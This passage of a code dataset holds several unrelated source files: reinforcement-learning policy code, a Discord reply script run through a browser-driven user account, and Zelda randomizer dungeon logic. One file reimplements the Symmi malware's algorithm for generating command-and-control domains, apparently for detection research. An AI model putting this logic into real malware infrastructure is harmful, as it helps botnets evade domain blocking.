see the freeze()\n # method.\n is_evaluation = (is_evaluation) or (self._frozen)\n return self._policy.step(time_step, is_evaluation)\n\n def freeze(self):\n \"\"\"This method freezes the policy's weights.\n\n The weight freezing effect is implemented by preventing any training to\n take place through calls to the step function. The weights are therefore\n not effectively frozen, and unconventional calls may trigger weights\n training.\n\n The weight-freezing effect is especially needed in PSRO, where all\n policies that aren't being trained by the oracle must be static. Freezing\n trained policies permitted us not to change how 'step' was called when\n introducing self-play (By not changing 'is_evaluation' depending on the\n current player).\n \"\"\"\n self._frozen = True\n\n def unfreeze(self):\n self._frozen = False\n\n def is_frozen(self):\n return self._frozen\n\n def get_weights(self):\n return self._policy.get_weights()\n\n def copy_with_noise(self, sigma=0.0):\n copied_object = RLPolicy.__new__(RLPolicy)\n super(RLPolicy, copied_object).__init__(self.game, self.player_ids)\n setattr(copied_object, \"_rl_class\", self._rl_class)\n setattr(copied_object, \"_obs\", self._obs)\n setattr(copied_object, \"_policy\",\n self._policy.copy_with_noise(sigma=sigma))\n setattr(copied_object, \"_env\", self._env)\n copied_object.unfreeze()\n\n return copied_object\n\n return RLPolicy\n\n\n# Generating policy classes for Policy Gradient and DQN\n# pylint: disable=invalid-name\nPGPolicy = rl_policy_factory(policy_gradient.PolicyGradient)\nDQNPolicy = rl_policy_factory(dqn.DQN)\n# pylint: enable=invalid-name\n", "source": "julianstastny/open_spiel", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python3\nfrom dgacollection.DGAMalware import DGAMalware\n\n\"\"\"A few constants for the DGA.\n\nNumber of domains for a day, validity period for each domain, \nletters used, length of the third label and seed.\n\n\"\"\"\nseed_const = 42\ndays_period = 16\nnr_of_domains = 64\nthird_lvl_min_len = 8\nthird_lvl_max_len = 15\nletters = [\"aeiouy\", \"bcdfghklmnpqrstvwxz\"]\n\n\n\"\"\"Pseudo-random generator for Symmi.\n\n\"\"\"\nclass Rand:\n\n \"\"\"Constructor\n\n \"\"\"\n def __init__(self, seed):\n self.seed = seed\n\n \"\"\"Generates the next number depending only on the previous one.\n\n \"\"\"\n def rand(self):\n self.seed = (self.seed * 214013 + 2531011) & 0xFFFFFFFF\n return (self.seed >> 16) & 0x7FFF\n\n\n\"\"\"Domain Generation Algorithm for Symmi.\n\nSource:\n http://www.johannesbader.ch/2015/01/the-dga-of-symmi/\n Johannes Bader\n January 21, 2015\n\n\"\"\"\nclass Symmi(DGAMalware):\n\n @classmethod\n def domainsLifetime(self):\n return days_period * 24 * 3600\n\n @classmethod\n def domainsFor(self, date):\n seed = self.create_seed(date)\n return self.dga(seed, '.ddns.net', nr_of_domains)\n\n @classmethod\n def next_domain(self, r, second_and_top_lvl, third_lvl_domain_len):\n domain = \"\"\n for i in range(third_lvl_domain_len):\n if not i % 2:\n offset_1 = 0 if r.rand() & 0x100 == 0 else 1\n s = r.rand()\n offset = (offset_1 + i) % 2\n symbols = letters[offset]\n domain += symbols[s % (len(symbols) - 1)]\n return domain + second_and_top_lvl\n\n @classmethod\n def dga(self, seed, second_and_top_lvl, nr):\n r = Rand(seed)\n domains = []\n for i in range(nr):\n span = third_lvl_max_len - third_lvl_min_len + 1\n third_lvl_len = third_lvl_min_len + r.rand() % span\n domains.append(self.next_domain(r, second_and_top_lvl, third_lvl_len))\n return domains\n\n @classmethod\n def create_seed(self, date):\n return 10000 * (date.day // days_period * 100 + date.month) + date.year + seed_const\n\n \"\"\"\n Symmi's domains don't contain j, y or z letters.\n \"\"\"\n @classmethod\n def couldUseDomain(self, domain):\n if not domain.endswith('.ddns.net'):\n return False\n label = domain.split('.', 1)[0]\n if 'j' in label or 'y' in label or 'z' in label:\n return False\n return not any(char.isdigit() for char in domain)\n", "source": "pchaigno/dga-collection", "license": "MIT"} {"text": "from selenium import webdriver\r\nfrom selenium.webdriver.common.keys import Keys #needed to press enter after the bot types the reply\r\nfrom bs4 import BeautifulSoup #awesome tool for extracting useful data from websites\r\nimport time #to add delay\r\nimport re # regular expressions, much more direct than BeautifulSoup, allows to find patterns within the text (it's a bit like a language on its own)\r\n\r\ndef GetSource(): # used to refresh the content\r\n global br # browser object\r\n elem = br.find_element_by_xpath(\"//*\") # get some kind of \"root\" element in order to get the actual source\r\n src = elem.get_attribute(\"outerHTML\")\r\n return src\r\n\r\ndef ParseMessage(msg): #used to remove things like: \r\n toBeRemoved = re.findall(r'<.+?>', msg) # find all the text between < and >\r\n for text in toBeRemoved: \r\n msg = msg.replace(text, \"\") # remove each occurence of the text found between < and > so only the actual message is left\r\n return msg\r\n\r\ndef GetComments():\r\n comments = []\r\n for comChunk in BeautifulSoup(GetSource(), \"lxml\").find_all(\"div\", class_=\"comment\"): # for each chunk of the code which covers 1 comment\r\n name = comChunk.find(\"strong\", class_=\"user-name\").string #find username of the one who posted it\r\n msg=[] # define new list\r\n \r\n for addMsgChunk in comChunk.find_all(\"div\", class_=\"message\"): # each \"comment\" may consist of several messages if the same person posts few messages in a row, this loop adds them all together into 1 class\r\n msg.append(ParseMessage(repr(addMsgChunk.find(\"div\", class_=\"markup\")))) # appends messages into 1 comment\r\n \r\n comments.append({\"name\":name, \"msg\":msg}) # appends comments and names into 1 full list\r\n return comments\r\n\r\ndef GetCurrentMsg():\r\n coms = GetComments()\r\n return coms[-1][\"name\"], coms[-1][\"msg\"][-1]\r\n\r\ndef SendMsg(msg):\r\n global br # br is a browser object\r\n entry = br.find_element_by_xpath('//*[@id=\"app-mount\"]/div/div[2]/div/div[2]/div/section/div[3]/div[2]/div[1]/form/div/div/textarea') # get the text input element\r\n entry.send_keys(msg) # write characters into text input\r\n entry.send_keys(Keys.RETURN) # press enter\r\n\r\n\r\nbr = webdriver.Chrome()\r\n#br.get(\"https://discord.gg/VxGFHY4\")\r\nbr.get(\"https://discordapp.com/channels/265199259291222016/265199259291222016\")\r\n\r\nraw_input(\"Press enter when discord is ready...\")\r\n\r\n\r\nlastName=\"\"\r\nlastMsg=\"\"\r\nwhile True:\r\n time.sleep(0.2)\r\n try:\r\n name, msg = GetCurrentMsg()\r\n if msg.startswith(\"@Nicolas Cage\"):\r\n if name != lastName:\r\n if msg.endswith(\"help\"):\r\n reply = \"```Nicolas Cage V0.1 Documentation\\nUSAGE: @Nicolas Cage\\nCopyright: Nicolas Cage\\nAuthor: Nicolas Cage\\nSpecial thanks to Nicolas for testing```\"\r\n else:\r\n reply = \"http://i2.kym-cdn.com/entries/icons/original/000/006/993/1817.jpg\"\r\n \r\n SendMsg(reply)\r\n lastName = name\r\n except Exception as e:\r\n print \"Error: \" + repr(e)\r\n\r\n \r\n''' #shows the latest message\r\ncm = GetCurrentMsg(GetSource())\r\nprint cm[\"name\"] + \": \" + cm[\"msg\"][len(cm[\"msg\"])-1]\r\n'''\r\n\r\n''' saves source of the website to a file\r\nsoup = BeautifulSoup(source, \"lxml\")\r\nsoup.find(\"div\", class_=\"messages-wrapper\")\r\nwith open(\"src.html\", \"wb\") as f:\r\n f.write(BeautifulSoup(source, \"lxml\").prettify().encode(\"utf-8\")) # prettify() function adds identation to the text so it looks nice and clean in the output\r\n'''\r\n\r\n\r\n", "source": "michalmonday/Discord-bot-user-account-", "license": "MIT"} {"text": "import random\n\nfrom BaseClasses import Dungeon\nfrom Bosses import BossFactory\nfrom Fill import fill_restrictive\nfrom Items import ItemFactory\n\n\ndef create_dungeons(world, player):\n def make_dungeon(name, id, default_boss, dungeon_regions, big_key, small_keys, dungeon_items):\n dungeon = Dungeon(name, dungeon_regions, big_key, [] if world.retro[player] else small_keys,\n dungeon_items, player, id)\n dungeon.boss = BossFactory(default_boss, player)\n for region in dungeon.regions:\n world.get_region(region, player).dungeon = dungeon\n dungeon.world = world\n return dungeon\n\n ES = make_dungeon('Hyrule Castle', 1, None, hyrule_castle_regions, None, [ItemFactory('Small Key (Escape)', player)], [ItemFactory('Map (Escape)', player)])\n EP = make_dungeon('Eastern Palace', 2, 'Armos Knights', eastern_regions, ItemFactory('Big Key (Eastern Palace)', player), [], ItemFactory(['Map (Eastern Palace)', 'Compass (Eastern Palace)'], player))\n DP = make_dungeon('Desert Palace', 3, 'Lanmolas', desert_regions, ItemFactory('Big Key (Desert Palace)', player), [ItemFactory('Small Key (Desert Palace)', player)], ItemFactory(['Map (Desert Palace)', 'Compass (Desert Palace)'], player))\n ToH = make_dungeon('Tower of Hera', 10, 'Moldorm', hera_regions, ItemFactory('Big Key (Tower of Hera)', player), [ItemFactory('Small Key (Tower of Hera)', player)], ItemFactory(['Map (Tower of Hera)', 'Compass (Tower of Hera)'], player))\n PoD = make_dungeon('Palace of Darkness', 6, 'Helmasaur King', pod_regions, ItemFactory('Big Key (Palace of Darkness)', player), ItemFactory(['Small Key (Palace of Darkness)'] * 6, player), ItemFactory(['Map (Palace of Darkness)', 'Compass (Palace of Darkness)'], player))\n TT = make_dungeon('Thieves Town', 11, 'Blind', thieves_regions, ItemFactory('Big Key (Thieves Town)', player), [ItemFactory('Small Key (Thieves Town)', player)], ItemFactory(['Map (Thieves Town)', 'Compass (Thieves Town)'], player))\n SW = make_dungeon('Skull Woods', 8, 'Mothula', skull_regions, ItemFactory('Big Key (Skull Woods)', player), ItemFactory(['Small Key (Skull Woods)'] * 3, player), ItemFactory(['Map (Skull Woods)', 'Compass (Skull Woods)'], player))\n SP = make_dungeon('Swamp Palace', 5, 'Arrghus', swamp_regions, ItemFactory('Big Key (Swamp Palace)', player), [ItemFactory('Small Key (Swamp Palace)', player)], ItemFactory(['Map (Swamp Palace)', 'Compass (Swamp Palace)'], player))\n IP = make_dungeon('Ice Palace', 9, 'Kholdstare', ice_regions, ItemFactory('Big Key (Ice Palace)', player), ItemFactory(['Small Key (Ice Palace)'] * 2, player), ItemFactory(['Map (Ice Palace)', 'Compass (Ice Palace)'], player))\n MM = make_dungeon('Misery Mire', 7, 'Vitreous', mire_regions, ItemFactory('Big Key (Misery Mire)', player), ItemFactory(['Small Key (Misery Mire)'] * 3, player), ItemFactory(['Map (Misery Mire)', 'Compass (Misery Mire)'], player))\n TR = make_dungeon('Turtle Rock', 12, 'Trinexx', tr_regions, ItemFactory('Big Key (Turtle Rock)', player), ItemFactory(['Small Key (Turtle Rock)'] * 4, player), ItemFactory(['Map (Turtle Rock)', 'Compass (Turtle Rock)'], player))\n AT = make_dungeon('Agahnims Tower', 4, 'Agahnim', tower_regions, None, ItemFactory(['Small Key (Agahnims Tower)'] * 2, player), [])\n GT = make_dungeon('Ganons Tower', 13, 'Agahnim2', gt_regions, ItemFactory('Big Key (Ganons Tower)', player), ItemFactory(['Small Key (Ganons Tower)'] * 4, player), ItemFactory(['Map (Ganons Tower)', 'Compass (Ganons Tower)'], player))\n\n GT.bosses['bottom'] = BossFactory('Armos Knights', player)\n GT.bosses['middle'] = BossFactory('Lanmolas', player)\n GT.bosses['top'] = BossFactory('Moldorm', player)\n\n world.dungeons += [ES, EP, DP, ToH, AT, PoD, TT, SW, SP, IP, MM, TR, GT]\n\ndef fill_dungeons(world):\n freebes = ['Ganons Tower - Map Chest', 'Palace of Darkness - Harmless Hellway', 'Palace of Darkness - Big Key Chest', 'Turtle Rock - Big Key Chest']\n\n all_state_base = world.get_all_state()\n\n for player in range(1, world.players + 1):\n pinball_room = world.get_location('Skull Woods - Pinball Room', player)\n if world.retro[player]:\n world.push_item(pinball_room, ItemFactory('Small Key (Universal)', player), False)\n else:\n world.push_item(pinball_room, ItemFactory('Small Key (Skull Woods)', player), False)\n pinball_room.event = True\n pinball_room.locked = True\n\n dungeons = [(list(dungeon.regions), dungeon.big_key, list(dungeon.small_keys), list(dungeon.dungeon_items)) for dungeon in world.dungeons]\n\n loopcnt = 0\n while dungeons:\n loopcnt += 1\n dungeon_regions, big_key, small_keys, dungeon_items = dungeons.pop(0)\n # this is what we need to fill\n dungeon_locations = [location for location in world.get_unfilled_locations() if location.parent_region.name in dungeon_regions]\n random.shuffle(dungeon_locations)\n\n all_state = all_state_base.copy()\n\n # first place big key\n if big_key is not None:\n bk_location = None\n for location in dungeon_locations:\n if location.item_rule(big_key):\n bk_location = location\n break\n\n if bk_location is None:\n raise RuntimeError('No suitable location for %s' % big_key)\n\n world.push_item(bk_location, big_key, False)\n bk_location.event = True\n bk_location.locked = True\n dungeon_locations.remove(bk_location)\n big_key = None\n\n # next place small keys\n while small_keys:\n small_key = small_keys.pop()\n all_state.sweep_for_events()\n sk_location = None\n for location in dungeon_locations:\n if location.name in freebes or (location.can_reach(all_state) and location.item_rule(small_key)):\n sk_location = location\n break\n\n if sk_location is None:\n # need to retry this later\n small_keys.append(small_key)\n dungeons.append((dungeon_regions, big_key, small_keys, dungeon_items))\n # infinite regression protection\n if loopcnt < (30 * world.players):\n break\n else:\n raise RuntimeError('No suitable location for %s' % small_key)\n\n world.push_item(sk_location, small_key, False)\n sk_location.event = True\n sk_location.locked = True\n dungeon_locations.remove(sk_location)\n\n if small_keys:\n # key placement not finished, loop again\n continue\n\n # next place dungeon items\n for dungeon_item in dungeon_items:\n di_location = dungeon_locations.pop()\n world.push_item(di_location, dungeon_item, False)\n\n\ndef get_dungeon_item_pool(world):\n return [item for dungeon in world.dungeons for item in dungeon.all_items]\n\ndef fill_dungeons_restrictive(world, shuffled_locations):\n all_state_base = world.get_all_state()\n\n # for player in range(1, world.players + 1):\n # pinball_room = world.get_location('Skull Woods - Pinball Room', player)\n # if world.retro[player]:\n # world.push_item(pinball_room, ItemFactory('Small Key (Universal)', player), False)\n # else:\n # world.push_item(pinball_room, ItemFactory('Small Key (Skull Woods)', player), False)\n # pinball_room.event = True\n # pinball_room.locked = True\n # shuffled_locations.remove(pinball_room)\n\n # with shuffled dungeon items they are distributed as part of the normal item pool\n for item in world.get_items():\n if (item.smallkey and world.keyshuffle[item.player]) or (item.bigkey and world.bigkeyshuffle[item.player]):\n item.advancement = True\n elif (item.map and world.mapshuffle[item.player]) or (item.compass and world.compassshuffle[item.player]):\n item.priority = True\n\n dungeon_items = [item for item in get_dungeon_item_pool(world) if ((item.smallkey and not world.keyshuffle[item.player])\n or (item.bigkey and not world.bigkeyshuffle[item.player])\n or (item.map and not world.mapshuffle[item.player])\n or (item.compass and not world.compassshuffle[item.player]))]\n\n # sort in the order Big Key, Small Key, Other before placing dungeon items\n sort_order = {\"BigKey\": 3, \"SmallKey\": 2}\n dungeon_items.sort(key=lambda item: sort_order.get(item.type, 1))\n\n fill_restrictive(world, all_state_base, shuffled_locations, dungeon_items,\n keys_in_itempool={player: not world.keyshuffle[player] for player in range(1, world.players+1)}, single_player_placement=True)\n\n\ndungeon_music_addresses = {'Eastern Palace - Prize': [0x1559A],\n 'Desert Palace - Prize': [0x1559B, 0x1559C, 0x1559D, 0x1559E],\n 'Tower of Hera - Prize': [0x155C5, 0x1107A, 0x10B8C],\n 'Palace of Darkness - Prize': [0x155B8],\n 'Swamp Palace - Prize': [0x155B7],\n 'Thieves\\' Town - Prize': [0x155C6],\n 'Skull Woods - Prize': [0x155BA, 0x155BB, 0x155BC, 0x155BD, 0x15608, 0x15609, 0x1560A, 0x1560B],\n 'Ice Palace - Prize': [0x155BF],\n 'Misery Mire - Prize': [0x155B9],\n 'Turtle Rock - Prize': [0x155C7, 0x155A7, 0x155AA, 0x155AB]}\n\nhyrule_castle_regions = [\n 'Hyrule Castle Lobby', 'Hyrule Castle West Lobby', 'Hyrule Castle East Lobby', 'Hyrule Castle East Hall',\n 'Hyrule Castle West Hall', 'Hyrule Castle Back Hall', 'Hyrule Castle Throne Room', 'Hyrule Castle Behind Tapestry',\n 'Hyrule Dungeon Map Room', 'Hyrule Dungeon North Abyss', 'Hyrule Dungeon North Abyss Catwalk',\n 'Hyrule Dungeon South Abyss', 'Hyrule Dungeon South Abyss Catwalk', 'Hyrule Dungeon Guardroom',\n 'Hyrule Dungeon Armory Main', 'Hyrule Dungeon Armory Boomerang', 'Hyrule Dungeon Armory North Branch',\n 'Hyrule Dungeon Staircase', 'Hyrule Dungeon Cellblock', 'Hyrule Dungeon Cell', 'Sewers Behind Tapestry',\n 'Sewers Rope Room', 'Sewers Dark Cross', 'Sewers Water', 'Sewers Key Rat', 'Sewers Rat Path',\n 'Sewers Secret Room Blocked Path', 'Sewers Secret Room', 'Sewers Yet More Rats', 'Sewers Pull Switch', 'Sanctuary',\n 'Sanctuary Portal', 'Hyrule Castle West Portal', 'Hyrule Castle South Portal', 'Hyrule Castle East Portal'\n\n]\n\neastern_regions = [\n 'Eastern Lobby', 'Eastern Lobby Bridge', 'Eastern Lobby Left Ledge', 'Eastern Lobby Right Ledge',\n 'Eastern Cannonball', 'Eastern Cannonball Ledge', 'Eastern Courtyard Ledge', 'Eastern East Wing',\n 'Eastern Pot Switch', 'Eastern Map Balcony', 'Eastern Map Room', 'Eastern West Wing', 'Eastern Stalfos Spawn',\n 'Eastern Compass Room', 'Eastern Hint Tile', 'Eastern Hint Tile Blocked Path', 'Eastern Courtyard',\n 'Eastern Fairies', 'Eastern Map Valley', 'Eastern Dark Square', 'Eastern Dark Pots', 'Eastern Big Key',\n 'Eastern Darkness', 'Eastern Rupees', 'Eastern Attic Start', 'Eastern False Switches', 'Eastern Cannonball Hell',\n 'Eastern Single Eyegore', 'Eastern Duo Eyegores', 'Eastern Boss', 'Eastern Portal'\n]\n\ndesert_regions = [\n 'Desert Main Lobby', 'Desert Left Alcove', 'Desert Right Alcove', 'Desert Dead End', 'Desert East Lobby',\n 'Desert East Wing', 'Desert Compass Room', 'Desert Cannonball', 'Desert Arrow Pot Corner', 'Desert Trap Room',\n 'Desert North Hall', 'Desert Map Room', 'Desert Sandworm Corner', 'Desert Bonk Torch', 'Desert Circle of Pots',\n 'Desert Big Chest Room', 'Desert West Wing', 'Desert West Lobby', 'Desert Fairy Fountain', 'Desert Back Lobby',\n 'Desert Tiles 1', 'Desert Bridge', 'Desert Four Statues', 'Desert Beamos Hall', 'Desert Tiles 2',\n 'Desert Wall Slide', 'Desert Boss', 'Desert West Portal', 'Desert South Portal', 'Desert East Portal',\n 'Desert Back Portal'\n]\n\nhera_regions = [\n 'Hera Lobby', 'Hera Basement Cage', 'Hera Tile Room', 'Hera Tridorm', 'Hera Torches', 'Hera Beetles',\n 'Hera Startile Corner', 'Hera Startile Wide', 'Hera 4F', 'Hera Big Chest Landing', 'Hera 5F',\n 'Hera Fairies', 'Hera Boss', 'Hera Portal'\n]\n\ntower_regions = [\n 'Tower Lobby', 'Tower Gold Knights', 'Tower Room 03', 'Tower Lone Statue', 'Tower Dark Maze', 'Tower Dark Chargers',\n 'Tower Dual Statues', 'Tower Dark Pits', 'Tower Dark Archers', 'Tower Red Spears', 'Tower Red Guards',\n 'Tower Circle of Pots', 'Tower Pacifist Run', 'Tower Push Statue', 'Tower Catwalk', 'Tower Antechamber',\n 'Tower Altar', 'Tower Agahnim 1', 'Agahnims Tower Portal'\n]\n\npod_regions = [\n 'PoD Lobby', 'PoD Left Cage', 'PoD Middle Cage', 'PoD Shooter Room', 'PoD Pit Room', 'PoD Pit Room Blocked',\n 'PoD Arena Main', 'PoD Arena North', 'PoD Arena Crystal', 'PoD Arena Bridge', 'PoD Arena Ledge', 'PoD Sexy Statue',\n 'PoD Map Balcony', 'PoD Conveyor', 'PoD Mimics 1', 'PoD Jelly Hall', 'PoD Warp Hint', 'PoD Warp Room',\n 'PoD Stalfos Basement', 'PoD Basement Ledge', 'PoD Big Key Landing', 'PoD Falling Bridge',\n 'PoD Falling Bridge Ledge', 'PoD Dark Maze', 'PoD Big Chest Balcony', 'PoD Compass Room', 'PoD Dark Basement',\n 'PoD Harmless Hellway', 'PoD Mimics 2', 'PoD Bow Statue', 'PoD Dark Pegs', 'PoD Lonely Turtle', 'PoD Turtle Party',\n 'PoD Dark Alley', 'PoD Callback', 'PoD Boss', 'Palace of Darkness Portal'\n]\n\nswamp_regions = [\n 'Swamp Lobby', 'Swamp Entrance', 'Swamp Pot Row', 'Swamp Map Ledge', 'Swamp Trench 1 Approach',\n 'Swamp Trench 1 Nexus', 'Swamp Trench 1 Alcove', 'Swamp Trench 1 Key Ledge', 'Swamp Trench 1 Departure',\n 'Swamp Hammer Switch', 'Swamp Hub', 'Swamp Hub Dead Ledge', 'Swamp Hub North Ledge', 'Swamp Donut Top',\n 'Swamp Donut Bottom', 'Swamp Compass Donut', 'Swamp Crystal Switch', 'Swamp Shortcut', 'Swamp Trench 2 Pots',\n 'Swamp Trench 2 Blocks', 'Swamp Trench 2 Alcove', 'Swamp Trench 2 Departure', 'Swamp Big Key Ledge',\n 'Swamp West Shallows', 'Swamp West Block Path', 'Swamp West Ledge', 'Swamp Barrier Ledge', 'Swamp Barrier',\n 'Swamp Attic', 'Swamp Push Statue', 'Swamp Shooters', 'Swamp Left Elbow', 'Swamp Right Elbow', 'Swamp Drain Left',\n 'Swamp Drain Right', 'Swamp Flooded Room', 'Swamp Flooded Spot', 'Swamp Basement Shallows', 'Swamp Waterfall Room',\n 'Swamp Refill', 'Swamp Behind Waterfall', 'Swamp C', 'Swamp Waterway', 'Swamp I', 'Swamp T', 'Swamp Boss',\n 'Swamp Portal'\n]\n\nskull_regions = [\n 'Skull 1 Lobby', 'Skull Map Room', 'Skull Pot Circle', 'Skull Pull Switch', 'Skull Big Chest', 'Skull Pinball',\n 'Skull Pot Prison', 'Skull Compass Room', 'Skull Left Drop', 'Skull 2 East Lobby', 'Skull Big Key',\n 'Skull Lone Pot', 'Skull Small Hall', 'Skull Back Drop', 'Skull 2 West Lobby', 'Skull X Room', 'Skull 3 Lobby',\n 'Skull East Bridge', 'Skull West Bridge Nook', 'Skull Star Pits', 'Skull Torch Room', 'Skull Vines',\n 'Skull Spike Corner', 'Skull Final Drop', 'Skull Boss', 'Skull 1 Portal', 'Skull 2 East Portal',\n 'Skull 2 West Portal', 'Skull 3 Portal'\n]\n\nthieves_regions = [\n 'Thieves Lobby', 'Thieves Ambush', 'Thieves BK Corner', 'Thieves Rail Ledge', 'Thieves Compass Room',\n 'Thieves Big Chest Nook', 'Thieves Hallway', 'Thieves Boss', 'Thieves Pot Alcove Mid', 'Thieves Pot Alcove Bottom',\n 'Thieves Pot Alcove Top', 'Thieves Conveyor Maze', 'Thieves Spike Track', 'Thieves Hellway',\n 'Thieves Hellway N Crystal', 'Thieves Hellway S Crystal', 'Thieves Triple Bypass', 'Thieves Spike Switch',\n 'Thieves Attic', 'Thieves Attic Hint', 'Thieves Cricket Hall Left', 'Thieves Cricket Hall Right',\n 'Thieves Attic Window', 'Thieves Basement Block', 'Thieves Blocked Entry', 'Thieves Lonely Zazak',\n \"Thieves Blind's Cell\", \"Thieves Blind's Cell Interior\", 'Thieves Conveyor Bridge', 'Thieves Conveyor Block',\n 'Thieves Big Chest Room', 'Thieves Trap', 'Thieves Town Portal'\n]\n\nice_regions = [\n 'Ice Lobby', 'Ice Jelly Key', 'Ice Floor Switch', 'Ice Cross Left', 'Ice Cross Bottom', 'Ice Cross Right',\n 'Ice Cross Top', 'Ice Compass Room', 'Ice Pengator Switch', 'Ice Dead End', 'Ice Big Key', 'Ice Bomb Drop',\n 'Ice Stalfos Hint', 'Ice Conveyor', 'Ice Bomb Jump Ledge', 'Ice Bomb Jump Catwalk', 'Ice Narrow Corridor',\n 'Ice Pengator Trap', 'Ice Spike Cross', 'Ice Firebar', 'Ice Falling Square', 'Ice Spike Room', 'Ice Hammer Block',\n 'Ice Tongue Pull', 'Ice Freezors', 'Ice Freezors Ledge', 'Ice Tall Hint', 'Ice Hookshot Ledge',\n 'Ice Hookshot Balcony', 'Ice Spikeball', 'Ice Lonely Freezor', 'Iced T', 'Ice Catwalk', 'Ice Many Pots',\n 'Ice Crystal Right', 'Ice Crystal Left', 'Ice Crystal Block', 'Ice Big Chest View', 'Ice Big Chest Landing',\n 'Ice Backwards Room', 'Ice Anti-Fairy', 'Ice Switch Room', 'Ice Refill', 'Ice Fairy', 'Ice Antechamber', 'Ice Boss',\n 'Ice Portal'\n]\n\nmire_regions = [\n 'Mire Lobby', 'Mire Post-Gap', 'Mire 2', 'Mire Hub', 'Mire Hub Right', 'Mire Hub Top', 'Mire Hub Switch',\n 'Mire Lone Shooter', 'Mire Failure Bridge', 'Mire Falling Bridge', 'Mire Map Spike Side', 'Mire Map Spot',\n 'Mire Crystal Dead End', 'Mire Hidden Shooters', 'Mire Hidden Shooters Blocked', 'Mire Cross', 'Mire Minibridge',\n 'Mire BK Door Room', 'Mire Spikes', 'Mire Ledgehop', 'Mire Bent Bridge', 'Mire Over Bridge', 'Mire Right Bridge',\n 'Mire Left Bridge', 'Mire Fishbone', 'Mire South Fish', 'Mire Spike Barrier', 'Mire Square Rail', 'Mire Lone Warp',\n 'Mire Wizzrobe Bypass', 'Mire Conveyor Crystal', 'Mire Tile Room', 'Mire Compass Room', 'Mire Compass Chest',\n 'Mire Neglected Room', 'Mire Chest View', 'Mire Conveyor Barrier', 'Mire BK Chest Ledge', 'Mire Warping Pool',\n 'Mire Torches Top', 'Mire Torches Bottom', 'Mire Attic Hint', 'Mire Dark Shooters', 'Mire Key Rupees',\n 'Mire Block X', 'Mire Tall Dark and Roomy', 'Mire Crystal Right', 'Mire Crystal Mid', 'Mire Crystal Left',\n 'Mire Crystal Top', 'Mire Shooter Rupees', 'Mire Falling Foes', 'Mire Firesnake Skip', 'Mire Antechamber',\n 'Mire Boss', 'Mire Portal'\n]\n\ntr_regions = [\n 'TR Main Lobby', 'TR Lobby Ledge', 'TR Compass Room', 'TR Hub', 'TR Torches Ledge', 'TR Torches', 'TR Roller Room',\n 'TR Tile Room', 'TR Refill', 'TR Pokey 1', 'TR Chain Chomps', 'TR Pipe Pit', 'TR Pipe Ledge', 'TR Lava Dual Pipes',\n 'TR Lava Island', 'TR Lava Escape', 'TR Pokey 2', 'TR Twin Pokeys', 'TR Hallway', 'TR Dodgers', 'TR Big View',\n 'TR Big Chest', 'TR Big Chest Entrance', 'TR Lazy Eyes', 'TR Dash Room', 'TR Tongue Pull', 'TR Rupees',\n 'TR Crystaroller', 'TR Dark Ride', 'TR Dash Bridge', 'TR Eye Bridge', 'TR Crystal Maze', 'TR Crystal Maze End',\n 'TR Final Abyss', 'TR Boss', 'Turtle Rock Main Portal', 'Turtle Rock Lazy Eyes Portal', 'Turtle Rock Chest Portal',\n 'Turtle Rock Eye Bridge Portal'\n]\n\ngt_regions = [\n 'GT Lobby', 'GT Bob\\'s Torch', 'GT Hope Room', 'GT Big Chest', 'GT Blocked Stairs', 'GT Bob\\'s Room',\n 'GT Tile Room', 'GT Speed Torch', 'GT Speed Torch Upper', 'GT Pots n Blocks', 'GT Crystal Conveyor',\n 'GT Compass Room', 'GT Invisible Bridges', 'GT Invisible Catwalk', 'GT Conveyor Cross', 'GT Hookshot East Platform',\n 'GT Hookshot North Platform', 'GT Hookshot South Platform', 'GT Hookshot South Entry', 'GT Map Room',\n 'GT Double Switch Entry', 'GT Double Switch Switches', 'GT Double Switch Transition', 'GT Double Switch Key Spot',\n 'GT Double Switch Exit', 'GT Spike Crystals', 'GT Warp Maze - Left Section', 'GT Warp Maze - Mid Section',\n 'GT Warp Maze - Right Section', 'GT Warp Maze - Pit Section', 'GT Warp Maze - Pit Exit Warp Spot',\n 'GT Warp Maze Exit Section', 'GT Firesnake Room', 'GT Firesnake Room Ledge', 'GT Warp Maze - Rail Choice',\n 'GT Warp Maze - Rando Rail', 'GT Warp Maze - Main Rails', 'GT Warp Maze - Pot Rail', 'GT Petting Zoo',\n 'GT Conveyor Star Pits', 'GT Hidden Star', 'GT DMs Room', 'GT Falling Bridge', 'GT Randomizer Room', 'GT Ice Armos',\n 'GT Big Key Room', 'GT Four Torches', 'GT Fairy Abyss', 'GT Crystal Paths', 'GT Mimics 1', 'GT Mimics 2',\n 'GT Dash Hall', 'GT Hidden Spikes', 'GT Cannonball Bridge', 'GT Refill', 'GT Gauntlet 1', 'GT Gauntlet 2',\n 'GT Gauntlet 3', 'GT Gauntlet 4', 'GT Gauntlet 5', 'GT Beam Dash', 'GT Lanmolas 2', 'GT Quad Pot', 'GT Wizzrobes 1',\n 'GT Dashing Bridge', 'GT Wizzrobes 2', 'GT Conveyor Bridge', 'GT Torch Cross', 'GT Staredown', 'GT Falling Torches',\n 'GT Mini Helmasaur Room', 'GT Bomb Conveyor', 'GT Crystal Circles', 'GT Left Moldorm Ledge',\n 'GT Right Moldorm Ledge', 'GT Moldorm', 'GT Moldorm Pit', 'GT Validation', 'GT Validation Door', 'GT Frozen Over',\n 'GT Brightly Lit Hall', 'GT Agahnim 2', 'Ganons Tower Portal'\n]\n\n\ndungeon_regions = {\n 'Hyrule Castle': hyrule_castle_regions,\n 'Eastern Palace': eastern_regions,\n 'Desert Palace': desert_regions,\n 'Tower of Hera': hera_regions,\n 'Agahnims Tower': tower_regions,\n 'Palace of Darkness': pod_regions,\n 'Swamp Palace': swamp_regions,\n 'Skull Woods': skull_regions,\n 'Thieves Town': thieves_regions,\n 'Ice Palace': ice_regions,\n 'Misery Mire': mire_regions,\n 'Turtle Rock': tr_regions,\n 'Ganons Tower': gt_regions\n}\n\nregion_starts = {\n 'Hyrule Castle': ['Hyrule Castle Lobby', 'Hyrule Castle West Lobby', 'Hyrule Castle East Lobby', 'Sewers Rat Path', 'Sanctuary'],\n 'Eastern Palace': ['Eastern Lobby'],\n 'Desert Palace': ['Desert Back Lobby', 'Desert Main Lobby', 'Desert West Lobby', 'Desert East Lobby'],\n 'Tower of Hera': ['Hera Lobby'],\n 'Agahnims Tower': ['Tower Lobby'],\n 'Palace of Darkness': ['PoD Lobby'],\n 'Swamp Palace': ['Swamp Lobby'],\n 'Skull Woods': ['Skull 1 Lobby', 'Skull 2 East Lobby', 'Skull 2 West Lobby', 'Skull 3 Lobby', 'Skull Pot Circle',\n 'Skull Pinball', 'Skull Left Drop', 'Skull Back 